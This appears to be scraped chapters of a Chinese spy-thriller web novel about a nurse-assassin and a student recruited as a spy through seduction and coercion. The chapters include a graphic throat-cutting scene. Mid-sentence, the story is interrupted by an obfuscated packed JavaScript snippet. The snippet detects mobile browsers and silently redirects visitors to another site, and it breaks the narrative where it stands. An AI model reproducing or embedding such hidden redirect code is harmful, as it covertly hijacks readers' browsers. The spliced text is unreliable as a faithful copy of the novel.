孟晓美迈着轻盈的步伐,恰好经过院长办公室。她那一头长□□染成了蜜糖般的金色,发尾微微卷曲,恰似带着点干热的风,就像暹罗午后被热烈阳光晒化的芒果冰,散发着一种甜蜜又慵懒的气息。她的肤色,宛如闽南旧瓷在赤道骄阳长久的照耀下,生出了暖融融的色调。那一头黄发覆在这样的肌肤上,愈发反衬得耳后那一点原生的乌发根部格外显眼,仿佛是岁月留下的一抹独特印记。 她精心打扮过,睫毛被刷得高高翘起,像两把精致的小扇子,眼线则拉出细长的凤尾形状,透着一股别样的风情。口罩之上,那双眼睛明亮得如同加冰的苏打水,澄澈而又灵动,恰似在某个美好的瞬间,玻璃杯叮的一声清脆碰杯,满是青春的活力与光彩。她身上穿着护士制服,领口别着一个可爱的史努比徽章,为整体的严肃着装增添了几分俏皮。一只听诊器随意地绕在后颈,金属片轻轻贴着锁骨,随着她的走动,发出清脆的叮当作响,仿佛是一首专属的小夜曲。她端着药盘,步伐轻快而有力,橡胶鞋底与磨旧的地胶相互摩擦,发出轻微的吱吱声,那声音竟奇妙地像热带雨落在铁皮屋顶,带着一种别样的韵律。 院长办公室里面传来的说话声引起了她的好奇。下意识地停下脚步,眼睛看向那扇虚掩着的门,心中涌起一股按捺不住的好奇,于是悄悄地往门缝里面窥视。 “……看得出尹教官是个能人,把医学院交给你打理,我非常非常放心!”巴颂院长那充满信任的声音从里面传了出来。 “哪里哪里。”尹柏萧谦逊地摆摆手,语气诚恳地说道:“我也是初出茅庐,第一次接到如此特别的任务,还得多向您请教呢。” 孟晓美的手指在药盘边缘轻轻一颤,盘子里的针剂和药瓶发出极轻微的磕碰声。她垂下眼,浓密的睫毛在眼下投出小片阴影,遮住了眸子里一闪而过的锐利。她脚步未停,仿佛只是被走廊穿堂风惊扰,径直走向护士站,将药盘稳稳放在台面上。 “知道了。”她对着空气般低声说,手指却借着整理衣摆的动作,在白大褂内衬里快速而隐蔽地敲击了几下,发出确认的讯号。史努比徽章在日光灯下反射着天真无邪的光泽。 --- 夜色浓稠如墨,混合着东南亚小巷特有的潮湿气息——腐烂水果、廉价香火、经年不散的油烟,还有隐约的、甜腻过头的晚香玉气味。霓虹招牌的光怪陆离只能勉强侵入巷口,更深处是昏暗与寂静的领地。 一个肥胖的身影踉跄着挪进巷子,嘴里含糊地咒骂着酒友和炎热的天气。他绰号“猪头肥”,脖颈上的金链子随着沉重的步伐晃动,在偶尔掠过的微光里泛起油腻的亮色。 孟晓美——或者说,“丽纹蛇”——此刻正贴在转角阴影的墙壁上。那身俏皮的护士制服早已换成荧光粉与靛蓝交织的紧身衣,脖颈缠绕着数条七彩珠串,她呼吸轻缓,几乎与潮湿墙壁上苔藓的吐息融为一体。那双白天如加冰苏打水般澄澈的眼睛,此刻映着巷口漏进来的一点残光,冰冷、专注,像热带雨林中潜伏的丽纹美女蛇,锁定了猎物必经的路径。 “猪头肥”毫无所觉,哼着走调的小曲,摸出钥匙,走向巷子深处一扇锈蚀的铁门。 就是此刻。 阴影流动。 丽纹蛇的动作没有一丝多余。她像一道被夜色本身投射出来的利箭,悄无声息地贴近。左手从后方闪电般捂住“猪头肥”的嘴,巨大的力量将他所有的惊呼扼杀在喉咙深处,同时猛力后拉,迫使他肥硕的头颅向后仰起,暴露出整个毫无防备的咽喉。 右手中,一道比夜色更暗的乌光微微一闪。那不是普通的匕首,刃身极薄,弧度适合最精准的切割。 没有犹豫,没有停顿。乌光轻盈而迅捷地划过,如同热刀切过冷却的奶油。 “呲——” 一声轻微得几乎听不见的、空气漏出的声音。温热的液体随即喷涌,大部分被丽纹蛇敏捷地侧身避开,只有几点极细微的猩红溅在她黑色的袖口,瞬间被布料吸收,了无痕迹。 “猪头肥”的身体剧烈地抽搐了一下,眼睛难以置信地瞪大,瞳孔里倒映着破碎的霓虹光影和头顶一小片狭窄的、无星的夜空。然后,那点光迅速涣散、熄灭。沉重的躯体顺着丽纹蛇引导的方向,软软地倒在堆满杂物的墙角,发出一声闷响,很快便被远处隐约传来的摩托引擎声掩盖。 丽纹蛇没有低头查看。她手腕一翻,那抹乌光消失在袖中的特制鞘内。她侧耳倾听片刻,巷子两端依旧只有夜晚固有的嘈杂。她像一道褪去的潮水,迅速退入更深的阴影,几个起落,身影便融入错综复杂的巷弄迷宫,仿佛从未出现过。 只有墙角那具逐渐冰冷的躯体,脖颈上那道细长而致命的切口,正无声地诉说着热带夜晚里,一场干脆利落的终结。铁锈、垃圾与血腥气缓缓混合,成为这条小巷今夜新的注释。 “嘘——”她也发出一个极轻却极具压迫感的气音,墨镜之后的目光无法窥探,但那股无形的寒意已足以冻结血液。“不要出声。” 刚刚除掉老鼠强的小金环蛇此时还保持着举枪的姿势,墨镜下的眉头微微蹙起。 “你是谁。” “丽纹蛇。BYE……” “等等!”小金环蛇压低声音喊道,可那艳丽身影已如鬼魅般翻过巷尾矮墙,只留下一串渐远的、清脆的铃铛声响——她脚踝上居然还系着银铃…… 远处数十里以外的圣保罗医院,院长办公室的灯光或许还亮着,巴颂老头可能在畅想医学院光明的未来。而孟晓美,明天一早,又会准时出现在普外科护士站,蜜糖金的长发,翘起的睫毛,史努比徽章,听诊器轻碰锁骨的叮当声,步伐轻快得像什么事都未曾发生。 只是那件染了极淡血点的夜行衣,已被她熟练地处理掉,如同处理掉一个不再需要的身份。两个世界,被一道纤细而致命的刀光,悄然隔开…… ———————————————— 王若愚躺在东帝汶帝力海滩的塑料躺椅上,肚子上摊开着一本《东南亚地缘政治导论》,第78页有个清晰的防晒油指印。距离论文提交还有72小时,而他已经在此处“思考”了整整三天。 “王先生,您还在研究‘潮汐对区域稳定的影响’吗?”旅店老板何塞路过第五次,用混合着葡萄牙语和德顿语的腔调问。 “是的,”王若愚把滑到鼻尖的墨镜推回去,“非常复杂的课题。” 实际上他在计算:如果现在开始写,每小时需要写多少个字?扣除吃饭、睡觉、刷手机的时间,需要多大剂量的咖啡因才能不死?结论是:大概需要直接静脉注射浓缩咖啡。 不远处,几个澳洲背包客正在玩飞盘,其中一个金发姑娘的比基尼带子松了。王若愚的学术目光不由自主地追随了两秒,然后痛心疾首地谴责自己:“王若愚啊王若愚,你是来深造的,不是来看……” 手机震动,导师发来消息:“小王,你的研究进展如何?需要推迟交稿吗?(微笑表情)” 导师的“微笑表情”比东帝汶的正午阳光还毒辣。王若愚猛地坐起来,防晒油从肚皮滑到书上,正好覆盖了“霸权主义”四个字。 “危机催生行动!”他对着大海宣布,然后抓起笔记本电脑冲向旅店唯一的空调房——那是大厅角落,同时兼作前台、小卖部和何塞儿子玩游戏的地方。 帝力大学图书馆的空调大概是殖民时期遗物,发出拖拉机般的轰鸣,制冷效果约等于一只狗喘气的微风。王若愚缩在角落里,周围堆着十七本参考书,屏幕上是三行字和十五个错别字。 一个身影在他对面坐下。 他抬头,瞳孔微张。 女人约莫三十岁,深棕色长发微卷,穿一件看似随意实则剪裁精良的亚麻衬衫。她戴着细框眼镜,桌上摊开一本厚重的葡萄牙语古籍——王若愚眯眼辨认出书名:《16世纪香料贸易中的欺诈手段研究》。 巧合!他的论文正是关于“现代东南亚经济合作中的不对称依赖”! 女人抬头,撞上他的目光,微微一笑:“打扰了?” “不不不,”王若愚赶紧说,“您继续。” 五分钟后,他第四次偷瞄时,她正皱眉看着书页,用修长的手指轻点下巴。阳光透过百叶窗在她侧脸投下条纹阴影,像某种艺术电影镜头。 “抱歉,”她突然开口,“您是中国人吗?” “是的!我是瑆洲来的交换生,研究地缘政治……”王若愚如数家珍地开始背诵研究计划。 女人耐心听着,等他喘气时接话:“伊莎贝拉·科斯塔,里斯本大学访问学者。您的研究很有趣——尤其是关于小国在大国博弈中‘主动选择依附’的观点。” 王若愚感觉自己像中彩票的流浪汉。整整三个月,他试图向任何人解释自己的研究,得到的反应通常是“哦”或者“你要喝啤酒吗”。 他们聊了起来。伊莎贝拉知识渊博,从葡萄牙殖民史聊到现代东盟架构,时而引用冷僻文献,时而穿插风趣轶事。王若愚完全忘记了自己的论文死线,直到图书馆管理员开始关灯。 “天哪,已经这么晚了?”伊莎贝拉惊讶地看表,“我耽误您的时间了。” “完全不会!这对我帮助很大!”王若愚实话实说——虽然论文一个字没写,但他现在感觉自己充满洞见,能写三万字的雄文。 收拾东西时,伊莎贝拉“不小心”碰掉了他的U盘。两人同时弯腰去捡,头轻轻碰在一起。 “哎呀,抱歉。”她轻笑,捡起U盘递还,“这可是您的研究心血,要保管好。” 王若愚接过温热的U盘,心跳莫名加速。 第二天,王若愚在图书馆“偶遇”伊莎贝拉。第三天,她“恰好”在他常去的咖啡厅读书。第四天——也就是论文提交前夜——她邀请他参加“一个小小的学术沙龙,几个朋友随便聊聊”。 沙龙在一栋殖民风格别墅里举行,只有五个人:伊莎贝拉、一位自称退休外交官的荷兰老人、一对研究海洋生态的法国夫妇,以及王若愚 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王若愚踩着云朵回到旅店,突然想起:论文!明天下午五点截止! 他冲进房间打开电脑,发现U盘不见了。 “冷静,冷静,”他告诉自己,“有云备份……哦等等,上次备份是两周前。” 凌晨三点,他瞪着屏幕上的半成品,像看着仇人。凌晨四点,他开始胡言乱语。凌晨五点,他决定先睡一小时再决战。 醒来时是下午两点半。 王若愚尖叫着跳起来,然后僵住——等一下,他和伊莎贝拉有约! 理智说:放弃约会,冲刺论文。 本能说:论文可以申请延期,这样的约会可能一辈子一次。 他选择了本能,同时安慰自己:“与学者的深度交流也是研究的一部分……对,这就是田野调查!” 咖啡厅确实“不错”——坐落在悬崖边,俯瞰整个帝力湾,价格大概相当于王若愚半个月的生活费。他咬牙点了两杯最便宜的饮品,暗自祈祷伊莎贝拉不会点吃的。 她点了沙拉和气泡水,很体贴地说“不太饿”。谈话从学术滑向个人:王若愚讲瑆洲的家人、留学的孤独、未来的迷茫。伊莎贝拉分享她在非洲的田野调查经历、里斯本的童年、对东南亚的热爱。 “你知道吗,”她轻晃酒杯,“我第一次来东帝汶是十年前。那时这里刚独立不久,到处是废墟和希望。现在依然……混乱,但充满可能。” “就像人生?”王若愚试图展现哲学深度。 “就像人生。”她微笑,脚在桌下似乎“无意”碰到了他的。 傍晚,她提议:“我住的公寓视野更好,还有些不错的红酒。想看看帝力的夜景吗?” 王若愚大脑里的警报响了0.1秒,然后被荷尔蒙强行关闭。“当然!” 公寓确实视野绝佳,也确实有不错的红酒——王若愚不懂红酒,但瓶身上的法文和尘封感看起来就很贵。他们坐在阳台上,看城市灯光渐次亮起。 “有时候我觉得,”伊莎贝拉的声音在晚风中变得柔软,“知识分子最大的悲剧是过度思考。分析一切,解构一切,最后忘记怎么感受。” 她转过头看着他。距离很近,王若愚能闻到她身上的香水味,混合着酒气和海风。 “你太年轻,可能还不懂。” “我懂,”王若愚脱口而出,“我总在想什么是对的、什么是该做的,但从来没问过自己想要什么。” “那现在呢?你想要什么?” 他没有回答,而是吻了她。她稍作迟疑,然后回应了。 事后回想,王若愚会意识到很多不对劲:她接吻时过于熟练;她卧室床头柜上有本《间谍心理学简史》(当时他以为是小说);她在他去洗手间时快速检查了他的手机(他以为她只是要充电)。 但当时,24岁、孤独、压力山大的王若愚只觉得自己像电影男主角。当伊莎贝拉靠在他胸前,手指轻轻划过他手臂时,他觉得自己征服了世界——或者至少,征服了这个美丽、成熟、聪明的女人。 “留下过夜吧,”她低声说,“明天早上,我们可以一起看日出。” 王若愚想起他的论文,想起五个小时后截止,想起他可能会因此延迟毕业。 “好。”他说。 他睡得很沉。伊莎贝拉却几乎没睡——她在他睡着后悄悄起身,用特殊设备扫描了他的所有电子设备,复制了数据,然后在他背包内侧粘了一个微型追踪器。 凌晨四点,她站在阳台上,用加密手机发送信息: “鱼已咬钩。温和型自恋,易受认可渴望驱动。初步评估:可塑性强,忠诚度培养周期约6-8个月。建议按B类方案处理。” 发送完毕,她回到床边,看着熟睡的王若愚,轻轻摇头: “孩子,如果你知道未来会经历什么,今晚还会选择留下来吗?” 可惜,王若愚正梦见自己穿着博士服,在联合国发表演讲,伊莎贝拉在台下鼓掌微笑。他笑得很甜,完全不知道六小时后,他会因为论文迟交被导师痛批;三个月后,他会“神秘失踪”;一年后,他会成为戴着假面具的特务。 而此刻,东帝汶的太阳即将升起,照在相拥而眠的两人身上——一人做着天真的梦,另一人已经开始计算投入产出比。 68.消失的留学生 王若愚站在帝力大学行政楼的走廊里,指尖捏着那张延期申请驳回通知书,纸边都被攥得发皱。他觉得自己就像条被潮水冲到沙滩上的鱼,嘴巴一张一合,却吸不到半点能救命的空气,浑身的力气都被抽干了。 “王,”导师透过厚厚的镜片看向他,那语气严肃得像是在宣读一份无法上诉的判决书,“我知道你最近碰上了些……‘个人难题’。但学术这东西,标准就是标准,谁也不能例外。现在给你两个选择:要么重修,要么——” “要么?”王若愚的心猛地一跳,像溺水的人抓住了根稻草,眼里瞬间燃起一丝微弱的希望。 “要么你可以考虑申请一个特殊研究项目。”导师说着,从抽屉里抽出一份皱巴巴的宣传册,递了过来,“爪哇理工大学有个短期交换项目,专门给……呃,那些需要重新开始的学生准备的。” 王若愚接过宣传册,封面印着蓝天白云下的现代化校园,看起来光鲜亮丽,标题写着“跨文化领导力培养计划——塑造未来的区域桥梁建造者”。 “听着就挺贵的。”他皱了皱眉,实话实说。自己现在的经济状况,可经不起这样的折腾。 “有全额奖学金。”导师忽然眨了眨眼,补充道,“而且算毕业学分。” 这条件好得简直不像真的,完美得让人心里发慌。但此刻的王若愚,就像沙漠里快要渴死的人,哪怕眼前的海市蜃楼里明摆着“可能有毒”的警示牌,也只想一头扎进去,先喝上一口再说。 “我参加。”他几乎没怎么犹豫就应了下来。 三天后,王若愚坐在了飞往爪哇的航班上。旁边座位上,一个澳大利亚商人睡得正香,鼾声大得像打雷。伊莎贝拉去机场送他时,给了他一个长长的拥抱,还有一个意味深长的吻。 “这是个好机会,”她凑在他耳边轻声说,“我会想你的,一定要保持联系。” 说着,她往他口袋里塞了个崭新的加密通讯器:“用这个联系,更安全。爪哇那边……网络监控管得比较严。” 王若愚心里一阵感动,眼眶都有点发热。他完全没留意到,那个看似贴心的通讯器,其实是个多功能装置——既能追踪他的位置,又能窃听他的对话,甚至还能远程操控让它瞬间瘫痪。 爪哇理工大学的“校园”藏在一个王若愚在地图上翻来覆去也找不到的山谷里。接送的校车在坑坑洼洼的土路上颠簸了三个小时,他一路上晕得厉害,吐了两回,五脏六腑都像被搅过一样。 “欢迎来到未来领袖训练营!”车刚停稳,一个穿着迷彩POLO衫的男人就迎了上来,笑容灿烂得有些过分,“我是巴尤教官,从今天起,就是你们的人生重启导师!” 训练营里已经来了二十多个年轻人,来自不同的国家,每个人脸上都挂着同一种表情——迷茫又困惑,仿佛都在心里嘀咕“我到底来这儿干嘛”。 第一天的日程表排得满满当当: 早上7点,刺耳的消防警报准时响起,把所有人从睡梦中拽起来;7点半,在泥泞的橡胶园里晨跑,脚下深一脚浅一脚,不少人都摔了跟头;8点半的早餐,永远是米饭配辣酱,那辣度简直像工业级别的,王若愚辣得眼泪直流;9点半的“破冰游戏”,是蒙着眼睛在丛林里找队友,他不小心踩进了蚂蚁窝,腿上瞬间爬满了蚂蚁,疼得他直跳;11点的“领导力理论课”,教官用四种语言混杂着讲解PPT,听得人云里雾里;中午1点的午餐,还是米饭配辣酱,大家都吃得没精打采;下午2点的“团队协作实践”,要求徒手搭建竹屋,王若愚不小心被反弹的竹子打中额头,当场就起了个包;5点的“文化交流会”,每人要唱一首家乡歌,他唱了《茉莉花》,旁边的泰国小哥则跳了段电臀舞,逗得大家直笑;晚上7点的晚餐,总算有了点“惊喜”——每人分到一块鸡肉,可惜只有指甲盖那么大;9点到了“个人反思时间”,所有人被关进小黑屋里写日记。 王若愚在日记里写道:“第一天,感觉整个人生都在被怀疑。但也许,这就是成长的一部分?伊莎贝拉发消息说想我,看到这句话,我就觉得还能坚持下去。” 他不知道的是,日记本的每一页都涂了特殊的化学涂层,他写下的字迹,过两个小时就会原样复制到监控室的屏幕上。此刻,巴尤教官正跷着二郎腿,一边嚼着槟榔,一边看着他的日记,笑着说:“还是个恋爱脑,这样的人,最好操控了。” 到了第二周,训练强度突然升级,又多了不少新项目:凌晨三点紧急集合,理由竟然是“看日出”,可那天明明是阴天;“野外生存”训练,每人只发一把小刀和一块饼干,要在丛林里过夜;还有“压力面试”,五个教官围着一个人狂吼着提问,问题里甚至有“你妈和你女友同时掉水里先救谁”的变体版,让人防不胜防。 第三周的一个雨夜,意外发生了。 那天的训练项目是“夜间定向越野”。王若愚和韩国队友金秀贤分在一组——没错,他真的叫这个名字。两人拿着手电筒和一张破破烂烂的地图,在黑漆漆的雨林里找旗子。 “地图上说,旗子在溪流边的第三棵榕树下,”金秀贤抹了把脸上的雨水,烦躁地说,“可这里他妈的有十七条溪流!谁能分得清啊!” 王若愚刚想开口回应,脚下突然一滑。 这可不是普通的滑倒——脚下的地面竟然裂开了。准确地说,那是个伪装得极好的陷阱门。他掉下去的瞬间,只瞥见金秀贤那张写满惊恐的脸,紧接着,头顶的“地面”就“啪”地一声合拢了。 四周一片黑暗,空气潮湿得能拧出水来,身上还有隐隐的疼痛感。还好,他掉在了一个海绵垫上,没受太重的伤。 “欢迎来到真正的训练营,王先生。”突然,灯光亮了起来,巴尤教官站在他面前,身上穿的不再是迷彩POLO衫,而是一身熨帖的军装,脸上的笑容也消失得无影无踪,“第一阶段‘过滤傻白甜’已经结束了。你是我们选中的三位候选人之一。” 王若愚彻底懵了,脑子嗡嗡作响:“什么……什么意思?” “意思是,”另一个声音从阴影里传来,王若愚抬头一看,竟然是伊莎贝拉走了出来,“那个大学交换项目,从头到尾都是个幌子。这里,其实是爪哇情报局的特殊人才培训中心。” 王若愚的大脑像是死机了,足足三秒钟后才重新启动,他难以置信地看着伊莎贝拉:“伊莎贝拉?你……你怎么会在这里?” “我是你的招募者,也是你的初级评估官。”她微笑着说,“恭喜你,你在东帝汶的表现,证明你具备我们需要的特质:渴望被认可、适应性强,而且道德弹性不错。” “你们这是绑架!”王若愚挣扎着想站起来,可腿软得像面条,根本使不上劲。 “不,这叫‘意外失踪’。”巴尤递给他一部手机,“你自己看看新闻。” 手机屏幕上,是爪哇当地新闻网站的头条:“外国留学生雨林徒步失踪,搜救队展开大规模寻找”。配图是他和金秀贤的合影,下面还写着:“王若愚与韩国同伴在训练营活动中走失,疑似遭遇野兽袭击或意外……” “你们竟然伪造新闻!”王若愚气得浑身发抖。 “我们不是伪造,是创造现实。”伊莎贝拉蹲下身,和他平视,“现在,你有两个选择。第一,留在这里接受真正的培训,将来成为能改变区域局势的重要人物。第二,我们把你送回雨林,你可以试着向外界解释这一切——但你觉得,会有人相信一个‘受惊过度产生幻觉’的失踪者吗?” 她顿了顿,又补充了一句,语气轻飘飘的,却带着刺骨的寒意:“哦,对了,如果你选第二个,你在瑆洲的家人,可能会陆续遭遇一些‘不幸事故’。对了,你们家的保险买够了吗?” 王若愚看着她那双看似温柔的眼睛,一股寒意从脚底直窜头顶,冻得他说不出话来。 真正的训练第一课,在地下室进行。那房间看起来像个手术室,可墙上挂着的,却是各种各样的……刑具? “别紧张,那些都是教学道具。”一个戴眼镜的瘦小男人走了进来,“我是哈利姆博士,负责你们的心理重塑。今天,我们先来做个小测试。” 测试内容包括: 1.连续48小时不睡觉,同时背诵爪哇历史年表。只要错一次,就会被电击一次,而那电压,“刚好能让你跳起来,但不会死人”。 2.观看一百张血腥的战争照片,同时要面无表情地吃咖喱饭。 3.被关在隔音的小黑屋里,只有两个选择:按下红色按钮,承认“我是废物”;或者按下绿色按钮,忍受高分贝噪音的轰炸。 王若愚在噪音轰炸中硬撑了六个小时,最后实在受不了,哭着按下了红色按钮。 哈利姆博士在记录册上写道:“忍受痛苦的能力较强,但自尊防线脆弱。可利用。” 第二课是“技能培训”,学的东西五花八门: ·微型相机的使用,要学会把相机藏在纽扣、钢笔甚至假牙里。 ·基础密码学,教官还开玩笑说:“记住,密码设成12345是最容易被破解的,除非你把它叫做‘动态多层验证序列’。” ·毒药的识别与使用,教官举着一瓶东西说:“这瓶闻起来像香水,要是涂在嘴唇上,和目标接吻后,对方会在四小时内心脏麻痹——这也算是种浪漫的死法,对吧?” 王若愚学得倒是挺快。倒不是因为他多有天赋,实在是教官教得太差——有一次,教官演示如何拆卸窃听器,手一抖,零件飞得到处都是,找了十分钟才凑齐。 “看到没?”教官却面不改色地说,“这就是实战中可能遇到的意外。你们要学会随机应变。” 一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962989|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月后,到了忠诚测试日。 王若愚被蒙着眼睛带到一个房间。摘下眼罩的瞬间,他吓了一跳:伊莎贝拉被绑在椅子上,嘴巴被胶带封住,眼里满是惊恐。 巴尤教官递给他一把手枪。 “我们知道你们之间有感情,”教官冷冷地说,“但感情是特工最大的弱点。现在,证明你的忠诚——朝她的非致命部位开一枪,打大腿就行。” 王若愚的手抖得像得了帕金森,声音都在发颤:“我……我不能……” “那她就只能死了。”教官说着,把自己手里的枪口转向了伊莎贝拉。 “等等!”王若愚尖叫起来。 房间里瞬间安静得可怕,连呼吸声都听得见。伊莎贝拉看着他,眼神复杂极了——有恐惧,有恳求,还有一丝……期待? 王若愚举起枪,瞄准她的大腿,紧紧闭上眼睛,猛地扣动了扳机。 “咔嗒。” 是空枪。 伊莎贝拉突然大笑起来,一把扯掉嘴上的胶带:“恭喜你,通过测试了!” 她从椅子上站起来,身上毫发无伤:“如果你真的开枪了,会被判定为‘冷血但可控’;如果你直接拒绝,会被判定为‘有原则但可塑造’;如果你像刚才这样,犹豫了但最终还是试着开枪——这就是‘在压力下能做出理性选择,又保留基本人性’。我们最喜欢的,就是第三种。” 王若愚一屁股瘫坐在地上,感觉□□有点湿——还好,只是吓出来的汗。 “别难过。”伊莎贝拉扶起他,温柔地擦掉他额头的冷汗,“刚才那一幕,我们会剪辑成视频,发给你的家人和瑆洲当局,就当是你‘被恐怖分子绑架受虐’的证据。这会为你将来的回归铺平道路。” “所以……这一切都是假的?”王若愚还有点回不过神。 “测试是真的,枪是假的,我刚才的恐惧是演的,”她眨了眨眼,“但我为你感到骄傲,这是真的。” 那天晚上,王若愚回到自己的宿舍——现在已经变成单人牢房的风格了——发现桌上放着一份文件:《瑆洲教育部人才引进计划申请表》。旁边还有一行附言:“开始构思你的‘英雄归来’故事吧。记住,最好的谎言是九分真一分假——那一分,就是你的新身份。” 他盯着表格,突然想起三个月前,自己最大的烦恼还只是论文写不完。可现在,他要琢磨的是如何假装自己被绑架折磨后依然身心健康,同时还要暗中当一名间谍。 窗外传来训练营的夜训口号:“忠诚!纪律!奉献!” 王若愚低声嘟囔了一句:“还有……别尿裤子。” 他不知道的是,此刻伊莎贝拉正在监控室看着这段录像,对巴尤说:“再加些抗压训练,下次用真枪空包弹——我得知道他到底会不会真的尿裤子。” “你这也太残忍了吧。”巴尤说。 “这是为了他好。”伊莎贝拉微笑着说,“越早打破天真,他才能活得越久。” 与此同时,在瑆洲的新闻里,正播放着这样的内容:“失踪留学生王若愚疑似被恐怖组织绑架,当局正全力营救”。他的家人坐在电视前,哭得肝肠寸断,完全不知道自己的儿子,此刻正在学习如何把毒药藏在假牙里。 一场跨越千里的幽默,就在这样的时差里,悄悄发酵着。 ———————————————— 王若愚站在瑆洲国际机场的VIP通道出口,浑身不自在得像个劣质道具。 他身上那件衬衫,还是三个月前从东帝汶带来的,此刻却透着一股刻意的狼狈——领口被磨得毛边外翻,袖口有几道像是挣扎时扯出的褶皱,胸前还有几块暗红印记,看着像血迹,实则是哈利姆博士坚持要用的真番茄酱。“人工血浆太假,懂行的一眼就能看穿。”当时博士还这么念叨着。 刚走出通道,一群记者就像闻到血腥味的鲨鱼般涌了上来,手里的相机快门按得不停,镁光灯晃得他眼睛都快睁不开。 “王先生!能说说您被绑架时的经历吗?” “有传闻说恐怖分子对您用水刑了,是真的吗?” “您现在身体和心理状态怎么样?” 王若愚深吸一口气,脸上摆出“坚强中带着脆弱”的表情——这是他对着镜子练了47遍的成果,伊莎贝拉看过之后评价:“像便秘还想装深情的三流演员,不过应付场面够用了。” “我……”他故意让声音带着沙哑,停顿的时间不多不少,刚好够显得情绪激动,“我不想回忆那些细节……但真的很感谢瑆洲政府和家人的努力……我现在就想回家。” 话音刚落,他恰到好处地哽了一下,眼角也适时泛起湿润——这得归功于哈利姆博士特别调配的隐形眼镜药水,“刺激性强,一滴就能出效果,不过别滴太多,不然看着像喝醉了痛哭流涕,太假。” 69.归来的“模范生” 人群里一个女记者被感动得抽了抽鼻子:“太让人敬佩了!您真是个英雄!” 王若愚心里暗自吐槽:英雄会在忠诚测试时差点尿裤子吗?但脸上只是微微鞠了一躬,在家人的搀扶下坐进了政府安排的专车。关上车门的瞬间,他悄悄松了口气,可下一秒又立刻坐直——他清楚,车里藏着微型摄像头,正对着自己呢。 “表情管理,小王。”他在心里对自己说,“从现在起,你是个有创伤后应激障碍,但依然坚强乐观的人。” 司机从后视镜看了他一眼:“王先生,直接回家吗?” “不,”王若愚按提前接到的指令说,“我想先去……教育部。我想尽快恢复正常生活。” 司机脸上露出敬佩的神情。王若愚在心里翻了个白眼:正常生活?我现在连正常大便都费劲——训练营那伙食,把我的肠胃折腾得跟化学武器似的。 三天后,王若愚坐在了教育部人力资源部的办公室里,对面是位表情严肃的中年女人。 “王先生,考虑到您的特殊情况,”女人推了推眼镜,“我们可以给您安排一个轻松的行政岗位,不用太多对外接触,毕竟您经历了那些……创伤。” 王若愚按剧本摇了摇头:“不了,李部长。我不想被特殊对待。要是因为这点经历就躲在角落里,那岂不是让恐怖分子得逞了?我想为国家多做点事。” 他说得慷慨激昂,连自己都差点信了。其实心里想得是:快把“国际教育交流处副科长”那职位给我,那可是离机密文件最近的岗位之一。 李部长显然被打动了:“年轻人,你这精神真值得学习。不过……你真的准备好了吗?我们听说你还有失眠、做噩梦的情况。” “噩梦总会过去的,”王若愚露出练过无数次的微笑,“但报效国家的机会,可能就这一次。” 拿到职位任命书时,他的手在抖——倒不是因为激动,而是昨天刚做了“抗药物审讯训练”,巴尤教官给他注射的吐真剂,副作用还没完全消呢。 走出教育部大楼,他按约定走进街角的公共厕所,在第三个隔间的马桶水箱里摸出一个防水袋。里面有一部新手机、五千块现金,还有一张纸条: “第一任务:拿到‘东盟教育质量评估报告’草案,放在你办公室的碎纸机下面。别用那台碎纸机——是自己人装的。P.S.你今天那番话还行,但说‘报效国家’时别翻白眼,监控拍得清清楚楚。——伊” 王若愚把纸条嚼碎咽了下去——训练营教的,消化系统是最保险的碎纸机。冲完马桶走出隔间,迎面撞上一个刚进来的大叔。 “吃坏肚子了?”大叔热心地问。 “嗯……有点。”王若愚尴尬地笑了笑。 国际教育交流处副科长的办公室小得像个储藏室,窗户正对着隔壁大楼的空调外机,那噪音吵得跟十个巴尤教官同时吼人似的。 但王若愚挺满意:墙角就放着碎纸机,型号和训练营里练过的一模一样;文件柜的锁是老式的,他用发卡三秒钟就能撬开;最关键的是,他的顶头上司——科长张为民,是个健忘的老好人,经常把密码写在便利贴上,贴在显示器边缘。 “小王啊,欢迎欢迎!”张科长热情地握着他的手,“你的事迹我都听说了!太了不起了!那种时候还能坚守爱国信念……” “都是应该做的。”王若愚谦虚地低下头,趁机飞快扫了一眼张科长的电脑屏幕——没锁屏,邮箱还开着,最新一封邮件的标题是“机密:东南亚留学生背景审查新规”。 “对了,这是你这周要处理的文件,”张科长推过来一摞半米高的纸,“主要是各高校的交流项目申请。不用急,慢慢看。” 王若愚看着那堆纸,心里盘算:就算每天工作八小时,每小时看十份,也得……反正肯定看不完。不过这不是重点。 “科长,我想尽快熟悉核心业务,”他试探着问,“比如……最近和东盟那边的合作进展?” 张科长眼睛一亮:“有上进心!正好,下午有个关于‘东盟教育质量评估报告’的内部讨论会,我带你去旁听!” 王若愚的心脏“咚咚”狂跳了两下。这么快就有机会了? 下午的会议在2号会议室举行,除了教育部的人,还有外交部和□□的代表。王若愚作为“新人兼特邀榜样”,坐在角落里假装做记录。 会议内容无聊得让人想撞墙:全是数据、指标、评估框架、各种争议点……但王若愚的耳朵竖得像雷达,一个关键词都不放过。 “……所以草案第37页里,关于留学生政治倾向的评估标准,还得再琢磨琢磨。”外交部一个年轻官员说。 “可要是不订个明确标准,怎么筛选啊?”教育部的人反驳道。 “筛选?”□□的人笑了,“我们是搞教育合作,又不是做情报工作!” 全场都笑了起来。王若愚也跟着笑,手心却冒出了汗。 会议结束时,张科长拍了拍他的肩膀:“怎么样,有收获吗?” “受益匪浅,”王若愚诚恳地说,“不过我注意到,草案文件的管理好像……有点松散?” “哎呀,都是内部会议嘛,”张科长满不在乎地说,“最终版会加密的。现在这草案……”他压低声音,“其实就在我办公桌左边抽屉里,没锁。你可别告诉别人,我老忘锁抽屉。” 王若愚用力点头,心里暗暗想:哈利姆博士说得真对,最坚固的保险箱,其实是人性的懒惰。 周五晚上,王若愚被张科长拉去参加一个“年轻人的社交活动”。 “这是我干女儿,秦菲儿,”张科长在餐厅包厢里介绍道,“在国会给议员当助理。菲儿,过来认识一下,这是王若愚,我们部里的新星,就是新闻上那个……” “我知道,”秦菲儿站起来,伸出手,“那个从恐怖分子手里奇迹生还的英雄。很高兴认识你。” 